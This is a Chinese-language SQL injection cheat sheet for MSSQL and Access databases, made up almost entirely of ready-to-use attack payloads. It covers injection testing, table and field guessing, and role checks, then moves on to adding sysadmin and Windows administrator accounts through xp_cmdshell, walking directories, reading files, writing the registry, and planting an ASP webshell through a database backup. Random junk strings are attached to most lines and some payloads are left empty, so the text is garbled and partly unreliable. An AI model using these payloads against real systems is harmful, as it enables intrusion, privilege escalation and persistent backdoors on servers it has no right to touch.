1.判断是否有注入;and 1=1 ;and 1=2 HHZGu8tzt
2.初步判断是否是mssql ;and user>0
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3.注入参数是字符'and [查询条件] and ''=' PrZs@ Y
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' q|r/%[[!o
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5.判断数据库系统 |J_kS90=
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;and (select count(*) from msysobjects)>0 access <O]TM-h
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 /Ayo78Pi
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Pv>W`/*_,s
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
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9.(1)猜字段的ascii值(access) WF!u2E+
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 |oL}c!0vs
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(2)猜字段的ascii值(mssql) FkS$x'~2$
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 x U1](O
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10.测试权限结构(mssql) L]_1z
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- l^ Q-KUI
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]l~TI8gC
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |d@%Vb_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- DviR D[+q"
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- rda/
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- NukcBH
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;and 1=(select IS_MEMBER('db_owner'));-- 2A5R3x=\
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11.添加mssql和系统的帐户 7
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;exec master.dbo.sp_addlogin username;-- -F+
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;exec master.dbo.sp_password null,username,password;-- I>(3\z4s
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- p;P"mp\'
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;exec master.dbo.xp_cmdshell 'net user username password k/hD2tBLu
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- R;6$lO8C&
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ?hXeZB+b4
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- AxsTB9/
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12.(1)遍历目录 a___SYl
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;create table dirs(paths varchar(100), id int) ;E!(W=]*F
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;insert dirs exec master.dbo.xp_dirtree 'c:\' \Y4>_Mk
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;and (select top 1 paths from dirs)>0 Al0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 08+cNT
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(2)遍历目录 EGY'a*]cU
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- h8ikM&fl
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 |3a1hCxt
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !bPsJbIo>
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 l$1z%|I
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 z`?{5v -Qs
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13.mssql中的存储过程
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xp_regenumvalues 注册表根键, 子键 wa#$9p~Q
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 RSK~<Y@]q{
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xp_regread 根键,子键,键值名 J0 [^hH
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Xf4
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xp_regwrite 根键,子键, 值名, 值类型, 值 qHGwD20 ~
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 go6XUe
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xp_regdeletevalue 根键,子键,值名 /8)-j}gZa
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0`LR!X
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ];3]/b)&
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14.mssql的backup创建webshell /M0A9ZT[
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insert into cmd(str) values (''); (oftq!X2
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15.mssql内置函数 k3 YDnMRA9
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;and (select @@version)>0 获得Windows的版本号 P2j"L#%
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa w;p:4`
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;and (select user_name())>0 爆当前系统的连接用户 ^#V7\;v$G
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;and (select db_name())>0 得到当前连接的数据库 eB]R<a60
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16.简洁的webshell RRasX;zK
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use model ;RElG>#$
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insert into cmd(str) values (''); .!B>pp(9
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backup database model to disk='g:\wwwtest\l.asp';